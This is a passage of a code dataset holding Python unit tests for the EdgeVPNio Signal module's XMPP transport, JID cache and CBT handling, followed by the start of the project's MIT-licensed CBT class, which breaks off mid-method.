\"1234434323\"\n }\n }\n signal = module_class(cfx_handle, sig_dict[\"Signal\"], \"Signal\")\n cfx_handle._cm_instance = signal\n cfx_handle._cm_config = sig_dict[\"Signal\"]\n return sig_dict, signal\n\n def testtransport_start_event_handler(self):\n \"\"\"\n Test to check the start of the event handler of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n transport = XmppTransport.factory(1, sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"], signal, None, None, None)\n transport._sig.sig_log = MagicMock()\n transport.add_event_handler = MagicMock()\n transport.register_handler = MagicMock()\n transport.get_roster = MagicMock()\n transport.start_event_handler(event=None)\n transport.add_event_handler.assert_called_once()\n transport.get_roster.assert_called_once()\n print(\"Passed : testtransport_start_event_handler\")\n\n def testtransport_connect_to_server(self):\n \"\"\"\n Test to check the connect to server of the transport instance of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n transport = XmppTransport.factory(1, sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"], signal, None, None, None)\n transport._sig.sig_log = MagicMock()\n transport.connect = MagicMock()\n XmppTransport.connect_to_server(transport)\n transport._sig.sig_log.assert_called_once()\n transport.connect.assert_called_once()\n print(\"Passed : testtransport_connect_to_server\")\n\n def testtransport_start_process(self):\n \"\"\"\n Test to check the start_process method of the transport instance of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n transport = XmppTransport.factory(1, sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"], signal, None, None, None)\n transport.loop.run_forever = MagicMock()\n transport.start_process()\n transport.loop.run_forever.assert_called_once()\n print(\"Passed : testtransport_start_process\")\n\n def testtransport_factory_with_password(self):\n \"\"\"\n Test to check the factory method of the transport instance of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n self.assertTrue(isinstance(\n XmppTransport.factory(\"1\", sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"], signal, signal._presence_publisher,\n None, None), XmppTransport))\n print(\"Passed : testtransport_factory_with_password\")\n\n def testtransport_factory_with_x509(self):\n \"\"\"\n Test to check the factory method of the transport instance with x509 auth_method of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"][\"AuthenticationMethod\"] = \"x509\"\n sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"][\"TrustStore\"] = {}\n sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"][\"CertDirectory\"] = \"/home/cert\"\n sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"][\"CertFile\"] = \"file1\"\n sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"][\"KeyFile\"] = \"keyfile\"\n transport = XmppTransport.factory(\"1\", sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"], signal,\n signal._presence_publisher,\n None, None)\n self.assertTrue(isinstance(transport, XmppTransport))\n print(transport.certfile)\n print(transport.keyfile)\n assert transport.certfile == \"/home/cert\\\\file1\"\n assert transport.keyfile == \"/home/cert\\keyfile\"\n print(\"Passed : testtransport_factory_with_x509\")\n\n def testtransport_factory_without_password(self):\n \"\"\"\n Test to check the factory method of the transport instance without the password of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"][\"Password\"] = None\n transport = XmppTransport.factory(\"1\", sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"], signal,\n signal._presence_publisher,\n None, None)\n transport.add_event_handler = MagicMock()\n transport.register_handler = MagicMock()\n transport.get_roster = MagicMock()\n self.assertTrue(isinstance(transport, XmppTransport))\n print(\"Passed : testtransport_factory_without_password\")\n\n def testtransport_factory_without_user(self):\n \"\"\"\n Test to check the factory method of the transport instance without the username of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"][\"Username\"] = None\n with self.assertRaises(RuntimeError):\n transport = XmppTransport.factory(\"1\", sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"], signal,\n signal._presence_publisher,\n None, None)\n print(\"Passed : testtransport_factory_without_user\")\n\n def testtransport_presence_event_handler(self):\n \"\"\"\n Test to check the presence method with ident of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n transport = XmppTransport.factory(\"1\", sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"], signal,\n signal._presence_publisher,\n None, None)\n presence = {\"from\": \"raj\", \"to\": \"raj@ipop\", \"status\": \"ident#12344323\"}\n transport.boundjid = JID(\"raj@ipop/ipop\")\n transport.send_msg = MagicMock()\n jid_cache = Mock()\n presence_publisher = Mock()\n transport._presence_publisher = presence_publisher\n transport._presence_publisher.post_update = MagicMock()\n transport._jid_cache = jid_cache\n transport._jid_cache.add_entry = MagicMock()\n transport.presence_event_handler(presence)\n transport.send_msg.assert_called_once()\n print(\"Passed : testtransport_presence_event_handler\")\n\n def testtransport_presence_event_handler_with_uid(self):\n \"\"\"\n Test to check the presence method with uid of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n transport = XmppTransport.factory(\"1\", sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"], signal,\n signal._presence_publisher,\n None, None)\n presence = {\"from\": \"raj\", \"to\": \"<EMAIL>\", \"status\": \"uid?#1234434323\"}\n transport.boundjid = JID(\"raj@ipop/ipop\")\n transport.send_msg = MagicMock()\n jid_cache = Mock()\n presence_publisher = Mock()\n transport._presence_publisher = presence_publisher\n transport._presence_publisher.post_update = MagicMock()\n transport._jid_cache = jid_cache\n transport._jid_cache.add_entry = MagicMock()\n transport.presence_event_handler(presence)\n transport.send_msg.assert_called_once()\n print(\"Passed : testtransport_presence_event_handler_with_uid\")\n\n def testtransport_presence_event_handler_with_no_status(self):\n \"\"\"\n Test to check the presence method with no valid status of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n transport = XmppTransport.factory(\"1\", sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"], signal,\n signal._presence_publisher,\n None, None)\n presence = {\"from\": \"raj\", \"to\": \"ra<EMAIL>\", \"status\": \"ipop?#1234434323\"}\n transport.boundjid = JID(\"raj@ipop/ipop\")\n jid_cache = Mock()\n presence_publisher = Mock()\n transport._presence_publisher = presence_publisher\n transport._presence_publisher.post_update = MagicMock()\n transport._jid_cache = jid_cache\n transport._jid_cache.add_entry = MagicMock()\n transport._sig.sig_log = MagicMock()\n transport.presence_event_handler(presence)\n transport._sig.sig_log.assert_called_once()\n print(\"Passed : testtransport_presence_event_handler_with_uid\")\n\n def testtransport_presence_event_handler_with_exception(self):\n \"\"\"\n Test to check the presence method with an exception raised of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n transport = XmppTransport.factory(\"1\", sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"], signal,\n signal._presence_publisher,\n None, None)\n presence = {\"from\": \"raj\", \"to\": \"<EMAIL>\", \"status\": \"uid?#1234434323\"}\n transport.boundjid = JID(\"raj@ipop/ipop\")\n transport.send_msg = MagicMock()\n transport.send_msg.side_effect = Exception()\n jid_cache = Mock()\n presence_publisher = Mock()\n transport._presence_publisher = presence_publisher\n transport._presence_publisher.post_update = MagicMock()\n transport._jid_cache = jid_cache\n transport._jid_cache.add_entry = MagicMock()\n transport._sig.sig_log = MagicMock()\n transport.presence_event_handler(presence)\n transport.send_msg.assert_called_once()\n transport._sig.sig_log.assert_called_once()\n print(\"Passed : testtransport_presence_event_handler_with_uid\")\n\n def testtransport_message_listener_with_uid(self):\n \"\"\"\n Test to check the message_listener method with uid of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n transport = XmppTransport.factory(\"1\", sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"], signal,\n signal._presence_publisher,\n None, None)\n transport._jid_cache = JidCache(signal, 30)\n register_stanza_plugin(Message, EvioSignal)\n msg = Message()\n msg[\"from\"] = \"ipop\"\n transport.boundjid.full = \"edgevpn\"\n msg[\"evio\"][\"type\"] = \"uid!\"\n msg[\"evio\"][\"payload\"] = \"123#456\"\n item = {0: \"invk\", 1: {\"ActionTag\": \"1\"}, 2: 5}\n q = Queue()\n q.put_nowait(item)\n outgoing_rem_acts = {\"456\": q}\n transport._outgoing_rem_acts = outgoing_rem_acts\n transport.send_msg = MagicMock()\n transport.message_listener(msg)\n assert transport._jid_cache.lookup(\"456\") == \"123\"\n transport.send_msg.assert_called_once()\n print(\"Passed : testtransport_presence_event_handler_with_uid\")\n\n def testtransport_message_listener_with_announce_to_same_node(self):\n \"\"\"\n Test to check the message_listener method with announce to the same of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n transport = XmppTransport.factory(\"1\", sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"], signal,\n signal._presence_publisher,\n None, None)\n transport._jid_cache = JidCache(signal, 30)\n register_stanza_plugin(Message, EvioSignal)\n msg = Message()\n msg[\"from\"] = \"ipop\"\n transport.boundjid.full = \"edgevpn\"\n msg[\"evio\"][\"type\"] = \"announce\"\n msg[\"evio\"][\"payload\"] = \"123#456\"\n sig_dict[\"Signal\"][\"NodeId\"] = \"456\"\n transport.send_msg = MagicMock()\n transport._presence_publisher = Mock()\n transport._presence_publisher.post_update = MagicMock()\n transport.message_listener(msg)\n self.assertEqual(transport._jid_cache.lookup(\"456\"), None)\n transport.send_msg.assert_not_called()\n transport._presence_publisher.post_update.assert_not_called()\n print(\"Passed : testtransport_message_listener_with_announce_to_same_node\")\n\n def testtransport_message_listener_with_announce_to_different_node(self):\n \"\"\"\n Test to check the message_listener method with announce to a different node of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n transport = XmppTransport.factory(\"1\", sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"], signal,\n signal._presence_publisher,\n None, None)\n transport._jid_cache = JidCache(signal, 30)\n register_stanza_plugin(Message, EvioSignal)\n msg = Message()\n msg[\"from\"] = \"ipop\"\n transport.boundjid.full = \"edgevpn\"\n msg[\"evio\"][\"type\"] = \"announce\"\n msg[\"evio\"][\"payload\"] = \"123#456\"\n transport._presence_publisher = Mock()\n transport._presence_publisher.post_update = MagicMock()\n transport.message_listener(msg)\n self.assertEqual(transport._jid_cache.lookup(\"456\"), \"123\")\n transport._presence_publisher.post_update.assert_called_once()\n print(\"Passed : testtransport_message_listener_with_announce_to_same_node\")\n\n @patch('json.loads')\n def testtransport_message_listener_with_invk(self, mock_loads):\n \"\"\"\n Test to check the message_listener method with invk to a different node of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n mock_loads.return_value = MagicMock()\n transport = XmppTransport.factory(\"1\", sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"], signal,\n signal._presence_publisher,\n None, None)\n transport._jid_cache = JidCache(signal, 30)\n register_stanza_plugin(Message, EvioSignal)\n msg = Message()\n msg[\"from\"] = \"ipop\"\n transport.boundjid.full = \"edgevpn\"\n msg[\"evio\"][\"type\"] = \"invk\"\n msg[\"evio\"][\"payload\"] = {\"Action\": \"announce\"}\n transport._sig.handle_remote_action = MagicMock()\n transport.message_listener(msg)\n mock_loads.assert_called_once()\n transport._sig.handle_remote_action.assert_called_once()\n print(\"Passed : testtransport_message_listener_with_invk\")\n\n def testsignal_initialize(self):\n \"\"\"\n Test to check the initialize method of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n signal._create_transport_instance = MagicMock()\n signal.initialize()\n signal._create_transport_instance.assert_called_once()\n print(\"Passed : testsignal_initialize\")\n\n @patch(\"modules.Signal.XmppTransport.factory\")\n def testsignal_create_transport(self, mock_factory):\n \"\"\"\n Test to check the create transport method of the signal class.\n \"\"\"\n cfx_handle = Mock()\n cfx_handle.query_param.return_value = 30\n module = importlib.import_module(\"modules.{0}\"\n .format(\"Signal\"))\n module_class = getattr(module, \"Signal\")\n sig_dict = {\"Signal\": {\"Enabled\": True,\n \"Overlays\": {\n \"A0FB389\": {\n \"HostAddress\": \"1.1.1.1\",\n \"Port\": \"5222\",\n \"Username\": \"raj\",\n \"Password\": \"<PASSWORD>\",\n \"AuthenticationMethod\": \"PASSWORD\"\n }\n },\n \"NodeId\": \"1234434323\"\n }\n }\n signal = module_class(cfx_handle, sig_dict[\"Signal\"], \"Signal\")\n cfx_handle._cm_instance = signal\n cfx_handle._cm_config = sig_dict\n transport = XmppTransport(sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"][\"Username\"],\n sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"][\"Password\"], sasl_mech=\"PLAIN\")\n mock_factory.return_value = transport\n transport.connect_to_server = MagicMock()\n assert signal._create_transport_instance(\"1\", sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"], None,\n None) == transport\n print(\"Passed : testsignal_create_transport\")\n\n def testsignal_handle_remote_action_invoke(self):\n \"\"\"\n Test to check the handling of remote action with action as invoke in the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n rem_act = {\"RecipientCM\": \"1234434323\", \"Action\": \"Sleep\", \"Params\": \"None\", \"OverlayId\": \"A0FB389\",\n \"RecipientId\": \"1234434323\"}\n signal.submit_cbt = MagicMock()\n signal.handle_remote_action(\"A0FB389\", rem_act, \"invk\")\n signal.submit_cbt.assert_called_once()\n print(\"Passed : testsignal_handle_remote_action_invoke\")\n\n def testsignal_handle_remote_action_complete(self):\n \"\"\"\n Test to check the handling of remote action with action as complete in the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n rem_act = {\"RecipientCM\": \"1234434323\", \"Action\": \"Sleep\", \"Params\": \"None\", \"OverlayId\": \"A0FB389\",\n \"InitiatorId\": \"1234434323\", \"ActionTag\": \"None\", \"Status\": \"Active\"}\n signal.complete_cbt = MagicMock()\n signal.handle_remote_action(\"A0FB389\", rem_act, \"cmpt\")\n signal.complete_cbt.assert_called_once()\n print(\"Passed : testsignal_handle_remote_action_complete\")\n\n @patch(\"modules.Signal.XmppTransport.Message\")\n def testtransport_send_message(self, msg_mock):\n \"\"\"\n Test to check the send message method of transport instance of the signal class.\n \"\"\"\n register_stanza_plugin(Message, EvioSignal)\n sig_dict, signal = self.setup_vars_mocks()\n transport = XmppTransport.factory(\"1\", sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"], signal,\n signal._presence_publisher,\n None, None)\n transport.loop.call_soon_threadsafe = MagicMock()\n transport.register_handler(\n Callback(\"ipop\", StanzaPath(\"message/ipop\"), transport.message_listener))\n msg = transport.Message()\n msg_mock.return_value = msg\n msg.send = MagicMock()\n transport.send_msg(\"2\", \"invk\", \"Data\")\n transport.loop.call_soon_threadsafe.assert_called_once()\n transport.loop.call_soon_threadsafe.assert_called_with(msg.send)\n print(\"Passed : testtransport_send_message\")\n\n def testjid_cache_add_lookup_entry(self):\n \"\"\"\n Test to check the lookup method of the jid-cache of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n jid_cache = JidCache(signal, 30)\n jid_cache.add_entry(\"123\", \"2345\")\n assert jid_cache.lookup(\"123\") == \"2345\"\n print(\"Passed : testjid_cache_add_lookup_entry\")\n\n def testjid_cache_scavenge(self):\n \"\"\"\n Test to check the scavenge method of the jid-cache of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n jid_cache = JidCache(signal, 5)\n jid_cache.add_entry(\"123\", \"2345\")\n assert jid_cache.lookup(\"123\") == \"2345\"\n sleep(5)\n jid_cache.scavenge()\n assert jid_cache.lookup(\"123\") is None\n print(\"Passed : testjid_cache_scavenge\")\n\n def testsignal_req_handler_initiate_remote_action(self):\n \"\"\"\n Test to check the handling remote action method with a request of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n jid_cache = JidCache(signal, 5)\n jid_cache.add_entry(\"1\", \"2345\")\n transport = XmppTransport.factory(\"1\", sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"], signal,\n signal._presence_publisher,\n None, None)\n transport.send_msg = MagicMock()\n signal._circles = {\"A0FB389\": {\"JidCache\": jid_cache, \"Transport\": transport}}\n cbt = CBT()\n cbt.request.params = {\"RecipientId\": \"1\", \"OverlayId\": \"A0FB389\"}\n signal.req_handler_initiate_remote_action(cbt)\n transport.send_msg.assert_called_once()\n print(\"Passed : testsignal_req_handler_initiate_remote_action\")\n\n def testsignal_resp_handler_remote_action(self):\n \"\"\"\n Test to check the handling remote action method with a response of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n cbt = CBT()\n cbt.request.params = {\"RecipientId\": \"1\", \"OverlayId\": \"A0FB389\"}\n jid_cache = JidCache(signal, 5)\n jid_cache.add_entry(\"1\", \"2345\")\n transport = XmppTransport.factory(\"1\", sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"], signal,\n signal._presence_publisher,\n None, None)\n transport.send_msg = MagicMock()\n signal._circles = {\"A0FB389\": {\"JidCache\": jid_cache, \"Transport\": transport}}\n cbt.tag = \"1\"\n signal.submit_cbt(cbt)\n resp = CBT.Response()\n cbt.response = resp\n rem_act = {\"InitiatorId\": \"1\", \"OverlayId\": \"A0FB389\"}\n signal._remote_acts[\"1\"] = rem_act\n signal.submit_cbt(cbt)\n signal.transmit_remote_act = MagicMock()\n signal.free_cbt = MagicMock()\n signal.resp_handler_remote_action(cbt)\n signal.transmit_remote_act.assert_called_once()\n signal.free_cbt.assert_called_once()\n print(\"Passed : testsignal_resp_handler_remote_action\")\n\n def testsignal_req_handler_query_reporting_data(self):\n \"\"\"\n Test to check the reporting of data method of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n cbt = CBT()\n transport = XmppTransport.factory(\"1\", sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"], signal,\n signal._presence_publisher,\n None, None)\n transport._host = \"IPOP\"\n transport.boundjid.full = \"ipopuser\"\n signal._circles = {\"A0FB389\": {\"Transport\": transport}}\n signal.complete_cbt = MagicMock()\n signal.req_handler_query_reporting_data(cbt)\n signal.complete_cbt.assert_called_once()\n print(\"Passed : testsignal_req_handler_query_reporting_data\")\n\n def testtransmit_remote_act(self):\n \"\"\"\n Test to check the transmit remote action method of the signal class.\n \"\"\"\n rem_act = {\"InitiatorId\": \"1\", \"OverlayId\": \"A0FB389\"}\n sig_dict, signal = self.setup_vars_mocks()\n jid_cache = JidCache(signal, 5)\n jid_cache.add_entry(\"1\", \"2345\")\n transport = XmppTransport.factory(\"1\", sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"], signal,\n signal._presence_publisher,\n None, None)\n transport.send_msg = MagicMock()\n signal._circles = {\"A0FB389\": {\"JidCache\": jid_cache, \"Transport\": transport}}\n signal.transmit_remote_act(rem_act, \"1\", \"invk\")\n transport.send_msg.assert_called_once()\n print(\"Passed : testtransmit_remote_act\")\n\n def testtransmit_remote_act_nopeer_jid(self):\n \"\"\"\n Test to check the transmit remote action method with no peer jid of the signal class.\n \"\"\"\n rem_act = {\"InitiatorId\": \"1\", \"OverlayId\": \"A0FB389\"}\n sig_dict, signal = self.setup_vars_mocks()\n jid_cache = JidCache(signal, 5)\n transport = XmppTransport.factory(\"1\", sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"], signal,\n signal._presence_publisher,\n None, None)\n transport.send_presence = MagicMock()\n signal._circles = {\"A0FB389\": {\"JidCache\": jid_cache, \"Transport\": transport, \"OutgoingRemoteActs\": {}}}\n signal.transmit_remote_act(rem_act, \"1\", \"invk\")\n transport.send_presence.assert_called_once()\n print(\"Passed : testtransmit_remote_act_nopeer_jid\")\n\n def testsignal_process_cbt_request_rem_act(self):\n \"\"\"\n Test to check the process cbt method with a request to initiate a remote action of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n cbt = CBT()\n cbt.op_type = \"Request\"\n cbt.request.action = \"SIG_REMOTE_ACTION\"\n signal.req_handler_initiate_remote_action = MagicMock()\n signal.process_cbt(cbt)\n signal.req_handler_initiate_remote_action.assert_called_once()\n print(\"Passed : testprocess_cbt_request_rem_act\")\n\n def testsignal_process_cbt_request_rep_data(self):\n \"\"\"\n Test to check the process cbt method with a request to report data of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n cbt = CBT()\n cbt.op_type = \"Request\"\n cbt.request.action = \"SIG_QUERY_REPORTING_DATA\"\n signal.req_handler_query_reporting_data = MagicMock()\n signal.process_cbt(cbt)\n signal.req_handler_query_reporting_data.assert_called_once()\n print(\"Passed : testprocess_cbt_request_rep_data\")\n\n def testsignal_process_cbt_resp_tag_present(self):\n \"\"\"\n Test to check the process cbt method with a response with the cbt tag present.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n signal._remote_acts = {\"1\"}\n signal.resp_handler_remote_action = MagicMock()\n cbt = CBT()\n cbt.op_type = \"Response\"\n cbt.tag = \"1\"\n signal.process_cbt(cbt)\n signal.resp_handler_remote_action.assert_called_once()\n print(\"Passed : testprocess_cbt_resp_tag_present\")\n\n def testsignal_process_cbt_resp_with_parent(self):\n \"\"\"\n Test to check the process cbt method with a response with the parent present and no tag.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n cbt1 = CBT()\n cbt = CBT()\n cbt.op_type = \"Response\"\n cbt.parent = cbt1\n resp = CBT.Response()\n resp.data = \"Data\"\n cbt.response = resp\n cbt.response.status = \"OK\"\n cbt1.child_count = 1\n signal.free_cbt = MagicMock()\n signal.complete_cbt = MagicMock()\n signal.process_cbt(cbt)\n signal.free_cbt.assert_called_once()\n signal.complete_cbt.assert_called_once()\n print(\"Passed : test_process_cbt_resp_with_parent\")\n\n def testsignal_process_cbt_resp_with_parent_more_children(self):\n \"\"\"\n Test to check the process cbt method with a response with the parent present and no tag and more than 1 child.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n cbt1 = CBT()\n cbt = CBT()\n cbt.op_type = \"Response\"\n cbt.parent = cbt1\n resp = CBT.Response()\n resp.data = \"Data\"\n cbt.response = resp\n cbt.response.status = \"OK\"\n cbt1.child_count = 2\n signal.free_cbt = MagicMock()\n signal.complete_cbt = MagicMock()\n signal.process_cbt(cbt)\n signal.free_cbt.assert_called_once()\n signal.complete_cbt.assert_not_called()\n print(\"Passed : test_process_cbt_resp_with_parent\")\n\n def testsignal_terminate(self):\n \"\"\"\n Test to check the terminate method of signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n transport = XmppTransport.factory(\"1\", sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"], signal,\n signal._presence_publisher,\n None, None)\n transport.shutdown = MagicMock()\n signal._circles = {\"A0FB389\": {\"Transport\": transport, \"OutgoingRemoteActs\": {}}}\n signal.terminate()\n transport.shutdown.assert_called_once()\n print(\"Passed : test_signal_terminate\")\n\n def testsignal_scavenge_pending_cbts(self):\n \"\"\"\n Test to check if scavenge of pending CBT works with one above the request timeout.\n \"\"\"\n cfxObject = Mock()\n cfx_handle = CFxHandle(cfxObject)\n module = importlib.import_module(\"modules.{0}\"\n .format(\"Signal\"))\n module_class = getattr(module, \"Signal\")\n sig_dict = {\"Signal\": {\"Enabled\": True,\n \"Overlays\": {\n \"A0FB389\": {\n \"HostAddress\": \"1.1.1.1\",\n \"Port\": \"5222\",\n \"Username\": \"raj\",\n \"Password\": \"<PASSWORD>\",\n \"AuthenticationMethod\": \"PASSWORD\"\n }\n }\n },\n \"NodeId\": \"1234434323\"\n }\n signal = module_class(cfx_handle, sig_dict, \"Signal\")\n cfx_handle._cm_instance = signal\n cfx_handle._cm_config = sig_dict\n cbt1 = CBT()\n cbt1.tag = \"1\"\n cbt1.time_submit = time.time() - 5\n signal.request_timeout = 5\n cbt2 = CBT()\n cbt2.tag = \"2\"\n cbt2.time_submit = time.time() - 1\n signal.complete_cbt = MagicMock()\n signal._cfx_handle._pending_cbts.update({\"0\": cbt1})\n signal._cfx_handle._pending_cbts.update({\"1\": cbt2})\n assert len(signal._cfx_handle._pending_cbts.items()) == 2\n signal.scavenge_pending_cbts()\n assert len(signal._cfx_handle._pending_cbts.items()) == 1\n items = {}\n items.update({\"1\": cbt2})\n assert signal._cfx_handle._pending_cbts == items\n print(\"Passed : testsignal_scavenge_pending_cbts\")\n\n def testsignal_scavenge_expired_outgoing_rem_acts_single_entry(self):\n \"\"\"\n Test to check scavenge remote actions method with a single entry of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n signal.request_timeout = 3\n item = {0: \"invk\", 1: {\"ActionTag\": \"1\"}, 2: 5}\n q = Queue()\n q.put_nowait(item)\n outgoing_rem_acts = {\"1\": q}\n signal.complete_cbt = MagicMock()\n signal.scavenge_expired_outgoing_rem_acts(outgoing_rem_acts)\n signal.complete_cbt.assert_called_once()\n print(\"Passed : testsignal_scavenge_expired_outgoing_rem_acts_single_entry\")\n\n def testsignal_scavenge_expired_outgoing_rem_acts_multiple_entries(self):\n \"\"\"\n Test to check scavenge remote actions method with multiple entries of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n signal.request_timeout = 3\n item1 = {0: \"invk\", 1: {\"ActionTag\": \"1\"}, 2: 5}\n item2 = {0: \"invk\", 1: {\"ActionTag\": \"2\"}, 2: 6}\n q = Queue()\n q.put_nowait(item1)\n q.put_nowait(item2)\n outgoing_rem_acts = {\"1\": q}\n assert outgoing_rem_acts[\"1\"].qsize() == 2\n signal.complete_cbt = MagicMock()\n signal.scavenge_expired_outgoing_rem_acts(outgoing_rem_acts)\n assert len(outgoing_rem_acts) == 0\n assert signal.complete_cbt.call_count == 2\n print(\"Passed : testsignal_scavenge_expired_outgoing_rem_acts_multiple_entries\")\n\n def testsignal_timer_method(self):\n \"\"\"\n Test to check the timer method of the signal class.\n \"\"\"\n sig_dict, signal = self.setup_vars_mocks()\n transport = XmppTransport.factory(\"1\", sig_dict[\"Signal\"][\"Overlays\"][\"A0FB389\"], signal,\n signal._presence_publisher,\n None, None)\n rem_acts = {}\n jid_cache = JidCache(signal, 5)\n jid_cache.scavenge = MagicMock()\n signal.scavenge_pending_cbts = MagicMock()\n transport.event_loop = MagicMock()\n signal._circles = {\n \"A0FB389\": {\"Announce\": 0, \"Transport\": transport, \"OutgoingRemoteActs\": rem_acts, \"JidCache\": jid_cache}}\n signal._circles[\"A0FB389\"][\"Transport\"].event_loop.call_soon_threadsafe = MagicMock()\n signal.timer_method()\n signal._circles[\"A0FB389\"][\"Transport\"].event_loop.call_soon_threadsafe.assert_called_once()\n jid_cache.scavenge.assert_called_once()\n signal.scavenge_pending_cbts.assert_called_once()\n print(\"Passed : testsignal_timer_method\")\n\n\nif __name__ == '__main__':\n unittest.main()\n", "id": "2909672", "language": "Python", "matching_score": 4.258908748626709, "max_stars_count": 21, "path": "controller/test/SignalTest.py" }, { "content": "# EdgeVPNio\n# Copyright 2020, University of Florida\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nimport uuid\n\n\nclass CBT():\n tag_counter = int(uuid.uuid4().hex[:15], base=16)\n class Request():\n def __init__(self, initiator=\"\", recipient=\"\", action=\"\", params=None):\n self.initiator = initiator\n self.recipient = recipient\n self.action = action\n self.params = params\n\n def __repr__(self):\n msg = \"Request<initiator=%s, recipient=%s, action=%s, params=%s>\" % (\n self.initiator, self.recipient, self.action, str(self.params))\n return msg\n\n def __itr__(self):\n yield(\"initiator\", self.initiator)\n yield(\"recipient\", self.recipient)\n yield(\"action\", self.action)\n yield(\"params\", self.params)\n\n class Response():\n def __init__(self,):\n self.status = False\n self.initiator = None\n self.recipient = None\n self.data = None\n\n def __repr__(self):\n msg = \"Response<status=%s, initiator=%s, recipient=%s, data=%s>\" % (\n self.status, self.initiator, self.recipient, str(self.data))\n return msg\n\n def __itr__(self):\n yield(\"status\", self.status)\n yield(\"initiator\", self.initiator)\n yield(\"recipient\", self.recipient)\n yield(\"data\", self.data)\n\n def __init__(self, initiator=\"\", recipient=\"\", action=\"\", params=\"\"):\n self.tag = CBT.tag_counter\n CBT.tag_counter = CBT.tag_counter + 1\n self.parent = None\n self.child_count = 0\n self.completed = False\n self.op_type = \"Request\"\n self.request = self.Request(initiator, recipient, action, params)\n self.response = None\n self.time_create = None\n self.time_submit = None\n self.time_complete = None\n self.time_free = None\n\n def __repr__(self):\n msg = (\"CBT<tag=%d, parent=%s, child_count=%d, completed=%r, op_type=%s, request=%r,\"\n \" response=%r>\" % (self.tag, str(self.parent), self.child_count, self.completed,\n self.op_type, self.request, self.response))\n return msg\n\n def __itr__(self):\n yield(\"tag\", self.tag)\n yield(\"parent\", 